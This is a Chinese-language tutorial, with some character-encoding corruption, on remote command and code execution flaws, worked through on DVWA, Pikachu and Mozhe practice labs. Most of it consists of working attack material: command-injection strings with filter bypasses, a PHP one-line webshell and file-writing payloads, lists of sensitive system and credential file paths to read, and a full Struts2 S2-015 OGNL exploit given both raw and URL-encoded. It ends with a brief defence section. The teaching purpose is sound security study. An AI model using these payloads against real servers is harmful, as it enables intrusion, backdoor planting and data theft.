1.RCE漏洞
1.1.漏洞原理
??RCE漏洞,可以讓攻擊者直接向后臺服務(wù)器遠程注入操作系統(tǒng)命令或者代碼,從而控制后臺系統(tǒng)。
1.2.漏洞產(chǎn)生條件
??1)調(diào)用第三方組件存在的代碼執(zhí)行漏洞。
??2)用戶輸入的內(nèi)容作為系統(tǒng)命令的參數(shù)拼接到命令中。
??3)對用戶的輸入過濾不嚴格。
??4)可控變量或漏洞函數(shù)。
1.3.漏洞挖掘
??像命令執(zhí)行和代碼執(zhí)行漏洞,通常需要看網(wǎng)站的情況,若網(wǎng)站只是單單的一個頁面那么基本上就不可能存在該漏洞,若網(wǎng)站可能存在一些輸入ip、調(diào)用接口等那么可能存在,但是通常該漏洞多數(shù)需要配合代碼審計或者拿到源碼,否則很難挖掘到。
1.4.漏洞分類
1.4.1.命令執(zhí)行
1.4.1.1.漏洞原理
??該漏洞的出現(xiàn)是由于應(yīng)用系統(tǒng)從設(shè)計上需要給用戶提供指定的遠程命令操作的接口,例如在防火墻的WEB界面中會存在一個故障排除功能,里面就會存在類似Ping操作的界面,若設(shè)計者未針對這類功能進行嚴格的控制檢測,則可能導致攻擊者提交惡意命令,從而控制后臺,控制服務(wù)器。
1.4.1.2.命令執(zhí)行危險函數(shù)
??PHP:exec、shell、system、popen等
??ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
??Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等
1.4.1.3.漏洞檢測
??白盒:可以對代碼進行審計。
??黑盒:這里就可以使用一些漏掃工具、公開的漏洞、手工看功能點及參數(shù)值,其中參數(shù)值主要需要看是否和相關(guān)的漏洞函數(shù)有關(guān),若有就可以進行測試,但是可能存在加密的情況,那么還需要進行解密。
1.4.2.代碼執(zhí)行
1.4.2.1.漏洞原理
??這個漏洞和命令執(zhí)行漏洞差不多,根據(jù)設(shè)計的需求,需將用戶輸入的部分代碼進行執(zhí)行,從而導致遠程代碼執(zhí)行漏洞的出現(xiàn)。所以,開放的代碼執(zhí)行,需要針對代碼進行做嚴格的控制,避免出現(xiàn)相應(yīng)的漏洞。
1.4.2.2.代碼執(zhí)行危險函數(shù)
??PHP: eval、assert、preg_replace()、+/e模式(PHP版本<5.5.0)
??Javascript: eval
??Vbscript:Execute、Eval
??Python: exec
1.4.2.3.漏洞檢測
??整體的檢測方式和命令執(zhí)行都是一樣的,只是輸入的方式不同
??白盒:可以對代碼進行審計。
??黑盒:這里就可以使用一些漏掃工具、公開的漏洞、手工看功能點及參數(shù)值,其中參數(shù)值主要需要看是否和相關(guān)的漏洞函數(shù)有關(guān),若有就可以進行測試,但是可能存在加密的情況,那么還需要進行解密。
1.5.命令執(zhí)行和代碼執(zhí)行區(qū)別
??這兩者的區(qū)別主要在于命令執(zhí)行是調(diào)用操作系統(tǒng)命令進行執(zhí)行,而代碼執(zhí)行是調(diào)用服務(wù)器網(wǎng)站的代碼進行執(zhí)行。
2.命令執(zhí)行
2.1.命令執(zhí)行函數(shù)介紹
??借鑒鏈接:https://www.cnblogs.com/networkroom/p/16395024.html
2.1.1.system函數(shù)
??該函數(shù)會將執(zhí)行的結(jié)果輸出并將輸出結(jié)果的最后一行作為字符串返回,如果執(zhí)行失敗則返回fale。這個函數(shù)也是經(jīng)常被使用到的。
<?php
highlight_file(__FILE__);
system('pwd');
?>
2.1.2.exec函數(shù)
??該函數(shù)不會輸出結(jié)果,但是會返回執(zhí)行結(jié)果的最后一行,可以結(jié)合output進行結(jié)果的輸出。
<?php
highlight_file(__FILE__);
exec('pwd',$b);
var_dump($b);
?>
2.1.3.passthru函數(shù)
??該函數(shù)只調(diào)用命令,并將運行的結(jié)果原封不動的輸出,沒有相應(yīng)的返回值。
<?php
highlight_file(__FILE__);
passthru('ls');
?>
2.1.4.shell_exec函數(shù)
??該函數(shù)不會輸出結(jié)果,返回執(zhí)行結(jié)果 使用反引號(``)時調(diào)用的就是此函數(shù)。
<?php
highlight_file(__FILE__);
var_dump(shell_exec('ls'));
?>
2.1.5.總結(jié)
??當然還有很多的其他函數(shù),可以自學百度搜索。
2.2.命令執(zhí)行前置基礎(chǔ)
??在進行命令執(zhí)行之前首先需要來了解一下基本的Windows命令以及Linux命令,這里我們只做簡單的介紹,倘若真的發(fā)現(xiàn)該漏洞了,可以直接在網(wǎng)上查找到相關(guān)的命令組成進行執(zhí)行。
2.2.1.Windows基礎(chǔ)命令
??Windows的基礎(chǔ)命令準確來說也就是cmd中輸入的命令,例如ping、tracert、telnet等。
ping #測試連通性
tracert #追蹤路由
telnet #遠程連接
dir #列出目錄
ipconfig #查看ip
arp -a #查看路由表
calc #打開計算器
regedit #打開注冊表
netstat -ano #查看服務(wù)器端口信息
??當然還有很多的命令,這里只是舉一些列子而已,若不知相關(guān)參數(shù),或者使用方式,可以去搜索Windows相關(guān)的命令教程。
2.2.2.Linux命令
??Linux命令我感覺更沒什么好說的了,平常操作linux就是使用命令,這部分若不太了解可以去看我的linux命令總結(jié)。
cd #切換目錄
ls #顯示當前目錄下的文件
ifconfig #查看IP地址
cat /etc/passwd #查看password文件內(nèi)容
id #查看當前用戶的id號
cat /etc/group #查看用戶組文件內(nèi)容
pwd #顯示當前目錄
uname -a #查看當前系統(tǒng)版本
natstat -pantu #查看當前服務(wù)器的端口信息
netstat -nr #查看網(wǎng)關(guān)和路由
2.2.3.拼接符
??|
#只執(zhí)行|后面的語句
??||
#如果前面命令是錯的那么就執(zhí)行后面的語句,否則只執(zhí)行前面的語句
??&
#&前面和后面命令都要執(zhí)行,無論前面真假
??&&
#如果前面為假,后面的命令也不執(zhí)行,如果前面為真則執(zhí)行兩條命令
??;
#前后都執(zhí)行,無論前面真假,類似&
2.3.命令執(zhí)行案例
??這里我們用DVWA靶場來做案例。
2.3.1.亂碼解決
??這里我們在輸入內(nèi)容的時候會出現(xiàn)亂碼的情況,可以把DVWA\dvwa\includes目錄下的dvwaPage.inc.php文件中所有的”charset=utf-8”,全部替換修改為”charset=gb2312”即可
2.3.2.Low級別
2.3.2.1.介紹
??在low級別中是接受了用戶輸入的IP,服務(wù)器通過操作性的不同情況執(zhí)行ping命令,并且Low級別中并未對輸入的內(nèi)容進行過濾。
2.3.2.2.操作
??1)這里我們使用net user查看一下用戶,但是這里若直接輸入net user
,是不會執(zhí)行命令的。
??2)這里就需要使用到我們之前提到過的拼接符,并且這里并沒有進行過濾,那么這里可以使用任意的拼接符,只要保證能夠在拼接后正常輸出即可。比如這里我使用“|”拼接符,“|”只會執(zhí)行后面的,那么這里可以直接跳過,輸入前邊的內(nèi)容,直接輸入“| net user”
??3)當然這里也可以使用別的拼接符做案例,比如使用“&&”,之前解釋道,“&&”是當前面的命令為假,那么后面也不執(zhí)行,反之,若前面的命令為真,那么后面就會執(zhí)行,這里也就是說前面的命令能夠正常執(zhí)行了,那么后面的命令也就能執(zhí)行,那么這里輸入“127.0.0.1 && net user”
??4)其它的可以自己試試,這里我就不全部進行執(zhí)行了。
2.3.3.Medium級別
2.3.3.1.介紹
??在Medium級別中是對“&&”
與“;”
進行了過濾,那么這里可以不使用這兩個破解符即可,使用別的,比如我之前提到的“|”或者“&”。
2.3.3.2.操作
??1)關(guān)于“|”在Low級別中已經(jīng)操作過了,那么這里我就只操作“&”,“&”破解符是不管前面的命令執(zhí)不執(zhí)行都會執(zhí)行后面的命令。那么這里是不是也就可以直接輸入“& net user”
?
??2)這里可能發(fā)現(xiàn)誒,并沒有執(zhí)行,那么你可以向下翻一翻??梢园l(fā)現(xiàn)命令是執(zhí)行了,當然最好還是完整輸入。
2.3.4.High級別
2.3.4.1.介紹
??在High級別中是對“| ”
進行過濾了,這里不知道是作者無意間敲了一個空格還是故意的。
2.3.4.2.操作
??1)那么這里其實就可以直接輸入“|net user”
,這里可能看到不是過濾了“|”
怎么還能用?
??其實這里主要是在“|”后面不進行空格直接連起來輸入, 就可以繞過了,因為你過濾“| ”
關(guān)我“|”
什么事?
2.4.墨者靶場案例
??這里我們使用墨者靶場中的命令注入執(zhí)行分析,做一個全流程的操作。
2.4.1.靶場鏈接
??靶場需要5個墨幣,挺貴了,其實題目很簡單,但是感覺不值得,不想買的看看也行。
??命令注入執(zhí)行分析:https://www.mozhe.cn/bug/detail/12
2.4.2.判斷操作系統(tǒng)
??這里我們首先需要先判斷一下操作系統(tǒng),由于命令執(zhí)行是分操作系統(tǒng)的,不同的操作系統(tǒng)的命令也是不同的,所以需要先判斷一下操作系統(tǒng)??梢钥吹竭@里是Ubuntu系統(tǒng)。
2.4.3.開始測試
??這里我們就使用之前我們測試過的方式進行測試,這里我們測試了127.0.0.1 | pwd
不行,其他的我也不測試了也不行。
2.4.4.抓包
??這里發(fā)現(xiàn)輸入不行,為了好測試,這里直接開始抓包分析,我們抓到包后,嘗試在包后面添加,然后發(fā)送。這里修改數(shù)據(jù)包后,成功發(fā)送。
2.4.5.失敗獲取key值
??這里在獲取key值的時候,發(fā)現(xiàn)無法獲取,不輸出內(nèi)容,那么這里就要考慮是否存在過濾,那么在linux中存在讀取文件有cat、more、less、head、tail等,那么我們這里就一個個嘗試
2.4.6.嘗試讀取key值
??這里我們結(jié)果嘗試后發(fā)現(xiàn),所有的讀取命令都不行,那么這里我們就要考慮其他的方式了。
2.4.7.成功獲取key值
??在linux中還存輸入重定向,就是將一個文件作為命令的標準輸入,格式:cat < key_251322682818227.php
。
2.5.命令執(zhí)行總結(jié)
??案例中設(shè)計到的只是使用了“net user”
作為演示,當然也可以使用別的一些命令,由于我這個是Windows系統(tǒng),Linux系統(tǒng)也是一樣的。至于安全,還是需要在開發(fā)過程中需要對參數(shù)進行嚴格的限制。
3.代碼執(zhí)行
3.1.代碼執(zhí)行函數(shù)介紹
3.1.1.${}執(zhí)行代碼
??該執(zhí)行代碼會將中間的php代碼進行解析。
<?php
${<!-- -->phpinfo()};
?>
3.1.2.eval函數(shù)
??該函數(shù)會將字符串當作函數(shù)進行執(zhí)行,但是需要傳入一個完整的語句,同時必須以;分號結(jié)尾,也是最常見的函數(shù)。
<?php
eval('echo "hello";');
?>
3.1.3.assert函數(shù)
??該函數(shù)是判斷是否為字符串,如果是則當初代碼進行執(zhí)行,但是在php7.0.29之后的版本不支持動態(tài)調(diào)用。
低版本
<?php
assert($_POST['a']);
?>
7.0.29之后
<?php
$a = 'assert';
$a(phpinfo());
?>
3.1.4.array_map函數(shù)
??該函數(shù)是為數(shù)組的每個元素應(yīng)用回調(diào)函數(shù)。
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
?>
構(gòu)建的payload
?a=assert&b=phpinfo();
3.1.5.總結(jié)
??這里和命令執(zhí)行一樣,涉及的函數(shù)會很多,可以自學百度搜索學習,或者在實際情況中遇到后,在搜索也行。
3.2.代碼執(zhí)行案例
3.2.1.pikachu靶場
??該案例我們使用pikachu靶場來做演示
3.2.1.1.開始測試
??這里我們可以根據(jù)提示可以看到,讓我們提交一個我們喜歡的字符串。我們這里隨便輸入一些,發(fā)現(xiàn)返回“你喜歡的字符還挺奇怪的!”
3.2.1.2.代碼分析
??從代碼中能夠看到,是把用戶提到的請求內(nèi)容,直接使用eval函數(shù)去執(zhí)行,也就是說當函數(shù)執(zhí)行的時候若報錯了,那么就會直接if語句中的內(nèi)容。那么當沒有報錯的時候就會把代碼進行執(zhí)行。
3.2.1.3.嘗試代碼執(zhí)行
??這里我們輸入一個phpinfo();
,提交執(zhí)行,看看效果,可以看到能夠PHP代碼被執(zhí)行了,并且返回了相應(yīng)的結(jié)果到前端。
3.3.代碼執(zhí)行漏洞利用
??借鑒:https://www.ngui.cc/article/show-519518.html?action=onClick
3.3.1.利用方式
?txt=@eval($_POST['cmd']); 一句話木馬
?txt=print(_FILE_); 獲取當前絕對路徑
?txt=var_dump(file_get_contents('c:\\windows\system32\drivers\etc\hosts')); 讀取文件
?txt=var_dump(file_put_contents($_POST[1],$POST[2]));
1=shell.php&2=<?php phpinfo()?> 寫shell
3.3.2.PHP魔術(shù)常量
??PHP 向它運行的任何腳本提供了大量的預(yù)定義常量,但是在這里有很多的常量是有不同的擴展庫定義的。
__LINE__ 顯示文件中的當前行號
__FILE__ 顯示文件的完整路徑和文件名。如果用在被包含文件中,則返回被包含的文件名
__DIR__ 顯示文件所在的目錄。如果用在被包括文件中,則返回被包括的文件所在的目錄
??當然還有其他的這里我就舉幾個例子,也可以去看我給的鏈接,文章大佬進行詳細的總結(jié)。
3.3.2.1.__LINE__案例
??獲取當前代碼所在行數(shù)。
3.3.2.2.__FILE__案例
??獲得當前文件的完整路徑。
3.3.2.3.__DIR__案例
??獲得當前文件所在的目錄。
3.3.3.讀取文件
??利用代碼執(zhí)行漏洞讀取一些操作系統(tǒng)上的敏感文件,從而獲取重要的信息。
3.3.3.1.讀取文件前置了解
1)Windows
C:\boot.ini //查看系統(tǒng)版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //windows初次安裝的密碼
C:\program Files\mysql\my.ini //Mysql配置信息
2)Linux
/etc/passwd //linux用戶信息
/usr/local/app/apache2/conf/httpd.conf //apache2配置文件
/usr/local/app/php5/lib/php.ini //php配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.cnf //Mysql配置文件
3.3.3.2.讀取hosts文件案例
??這里讀取hosts文件,讀取其他文件都是一樣的。
3.3.4.一句話木馬
??利用代碼執(zhí)行漏洞可以配合一句話木馬,然后使用工具進行連接一句話木馬,從而實現(xiàn)獲取敏感數(shù)據(jù)。
3.3.4.1.代碼準備
??這里就不使用pikachu靶場了,這里我們自己編寫一個代碼。
<?php
if(isset($_GET['a'])){
eval($_GET['a']);
}
else{
echo "please input a";
}
?>
3.3.4.2.訪問頁面
??這里我們訪問我們剛剛編寫的頁面。
3.3.4.3.添加一句話木馬
??這里我們在url后添加?a=@eval($_POST['cmd']);
,然后訪問。
3.3.4.4.連接一句話木馬
??這里我們使用蟻劍進行連接測試,然后連接目標主機。
3.3.4.5.訪問目標主機
??可以看到這里我們已經(jīng)能連接上目標主機。
3.3.5.寫Shell
??利用遠程代碼執(zhí)行漏洞執(zhí)行寫文件的操作,使其生成后門木馬。
3.3.5.1.訪問頁面
??這里我們依舊使用之前的準備的代碼。
3.3.5.2.拼接代碼
??在URL后面添加?a=var_dump(file_put_contents($_POST[1],$_POST[2]));
然后使用Post發(fā)送1=info.php&2=<?php phpinfo();?>
。
3.3.5.3.訪問info.php
??這個新生成的頁面是在當前目錄下,也就是說你訪問的是根目錄,那么文件就在根目錄下,那么這里可以看到我們已經(jīng)成功生成了,那么如果我們生成的是一個一句話木馬呢?
3.3.6.墨者靶場
3.3.6.1.靶場鏈接
??靶場鏈接:https://www.mozhe.cn/bug/detail/253
3.3.6.2.測試靶場
??這里測試可以使用工具進行測試,工具下載鏈接:struts2漏洞檢測工具 提取碼:t95s
??通過工具的檢測我們可以看到是存在相應(yīng)的漏洞的。
3.3.6.3.工具利用
??這里我們可以去網(wǎng)上上exp,也可以使用工具直接利用。這里我們就使用工具進行利用,這里我們通過前期的檢測,我們檢測出存在遠程執(zhí)行漏洞,那么我們可以在漏洞編號上選擇相應(yīng)的編號,然后在命令執(zhí)行位置,輸入想要執(zhí)行的命令。
??可以看到成功執(zhí)行,后續(xù)文件不在測試怎么看key值。
3.3.6.4.尋找exp
??這里說一下exp:意思就是利用代碼,而poc:意思就是驗證代碼
??像這個漏洞可以在網(wǎng)上直接找相關(guān)的exp進行操作。
??例如這里寫入exp的方式利用S2-015漏洞。
${#context[‘xwork.MethodAccessor.denyMethodExecution’]=false,#m=#_memberAccess.getClass().getDeclaredField(‘a(chǎn)llowStaticMethodAccess’),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘ls’).getInputStream()),#q}.action
??當然這里不能直接輸入這樣的命令,需要對其進行url編碼。
/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29%2C%23q%7D.action
3.3.6.5.獲取key值
??由于使用工具很容易就獲取到了key值,這里我們使用exp進行獲取。
/${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat key.txt').getInputStream()),#q}.action
??url編號后的exp
/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27cat%20key.txt%27%29.getInputStream%28%29%29%2C%23q%7D.action
4.防御
??其實兩者的防御都是一樣的。需要對敏感函數(shù)禁用,就是之前提到的一些函數(shù)已經(jīng)未提到的,同時對相關(guān)的變量進行過濾,再其次就是之上使用WAF的產(chǎn)品進行防護。文章來源:http://www.zghlxwxcb.cn/news/detail-511815.html
5.其他
??這里的WAF繞過我并沒有提,可以自行百度搜索,因為像這類漏洞,多數(shù)需要白盒查看源代碼進行代碼審計然后才能發(fā)現(xiàn)漏洞,當然也不是說黑盒不行,主要要考慮到,對方參數(shù)有沒有修改,設(shè)置了哪些過濾等等,盲猜比較麻煩。文章來源地址http://www.zghlxwxcb.cn/news/detail-511815.html
到了這里,關(guān)于RCE代碼及命令執(zhí)行(詳解)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!